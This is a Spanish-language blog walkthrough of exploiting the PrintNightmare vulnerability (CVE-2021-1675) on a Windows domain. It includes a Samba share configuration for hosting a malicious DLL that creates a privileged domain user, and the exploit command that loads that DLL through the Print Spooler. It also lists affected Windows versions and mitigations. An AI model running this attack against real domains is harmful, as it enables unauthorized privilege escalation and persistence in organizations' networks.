En esta entrada describo como realizar la explotación del CVE-2021-1675 bautizado como PrintNightmare en el cual los autores presentaran en el BlackHat el cual realiza una explotación escalando privilegios tanto de manera local y remota a traves del servicio spools que nuevamente viene a dar problemas.
Anoche mientras estaba entrando al sobre, lei sobre esta nueva vulnerabilidad y el exploit que ya era público, no pude ver con anterioridad hoy despues del trabajo me dispuse a ver el repositorio de cube0x0 que nos brinda una integración con impacket para realizar la explotación del mismo en esta entrada veremos como realizarlo siguiendo el uso de un exploit que nos permitira explotar la vulnerabilidad.
En la entrada veremos la explotación de manera remota conocido como RCE Remote Code Execution, puedes explotarlo de forma local y escalar privilegios el cual se llama LPE Local Privilege Escalation, (para explotar localmente se tiene una nueva implementación en CSharp con SharpPrintManager) los requisitos para que la misma sea funcional es que se encuentre ejecutando el servicio Spooler, este lleva lleva ya bastante tiempo siendo explotado recuerdan a Stuxnet más de 10 años. Este servicio permite reemplazar la dll propia por una externa del atacante permitiendo ejecutar remotamente o local. a
En la parte final de la entrada mencionamos los sistemas operativos afectados por lo cual el exploit tiene un mayor alcance.
Considerando que realizamos la creación de un usuario en un grupo privilegiado, si deseamos ser totalmente Ninjas contamos con la opción de realizarlo como lo explica en snovvcrash
Requerimientos para explotación en Dominio
- Cuenta en dominio.
- Maquina atacante Linux
Cuenta en Dominio
Para realizar la explotación requerimos contar con un usuario en dominio para esta prueba de concepto contamos con el usuario dino que forma parte del dominio dino.corp .
Verificamos si existe el usuario que crearemos snifer en el dominio.
Ojo que basta que un usuario se autentique
Configuración de la máquina atacante
Configurando dependencias
Lo primero que necesitamos es contar con el repositorio en el equipo
|
|
Si tienes instalado una versión anterior procede a desintalar, o tambien podrias utilizar un virtual enviroment para trabajar con la implementación de cube0x0 hasta que se encuentre en la rama principal de impacket.
|
|
DLL
Para la DLL en este caso se compilo desde linux con el siguiente comando, en este caso particular la dll nos permite crear un usuario y posteriormente asignarle permisos en un grupo privilegiado para autenticarnos posteriormente.
|
|
Configurando SMB
Desde el equipo atacante se debe configurar el directorio a compartir por medio de SMB para ello nos dirigimos a /etc/sam/conf y con el editor de tu preferencia procedemos a adicionar las siguientes lineas.
[global]
map to guest = Bad User
server role = standalone server
usershare allow guests = yes
idmap config * : backend = tdb
smb ports = 445
[smb] #Nombre del directorio a Compartir
comment = Directorio compartido
path = /home/snifer/pwned/ # localizacion a compartir
available = yes
browsable = yes
writable = yes
public = yes
Recuerda que debes de reiniciar el servicio antes de verificar el acceso anónimo.
Explotando el servicio
Después de tener el servicio de SMB para que se permita la autenticación de un usuario anonimo
python3 CVE-2021-1675.py DOMAIN/USER:PASSWORD@IP_DOMAIN '\\IP_SHARE\smb\pwned.dll'
Después de ejecutar veremos que ya se tiene el usuario creado en Dominio con fines de explicar en la entrada se esta accediendo por medio de Powershell.
Verificamos con la herramienta que desees los privilegios del nuevo usuario.
Exploits públicos
En este apartado iremos agregando las diferentes PoCs e implementaciones que vayan saliendo sobre la vulnerabilidad.
Versiones de Windows afectados
- Windows: 7, 8.1, 10, 10 20H2, 10 1607, 10 1809, 10 1909, 10 2004, RT 8.1
- Windows Server: 2008, 2008 R2, 2012, 2012 R2, 2016, 2019, 2019 20H2, 2019 2004
Mitigación
Debido a que el parche de Microsoft aun no cumple con su cometido, contamos con algunas medidas compensatorias, por mi parte aun no realice una validación de estos, ten en cuenta que son soluciones no oficiales y puede afectar el comportamiento en un entorno productivo.
Recien crearon el siguiente diagrama con el cual puedes llegar a identificar gráficamente cuando es y no vulnerable un equipo.
Gracias a Jari por brinda los enlaces de mitigación y el modo Ninja para no generar ruido y alertas.
Regards,
Snifer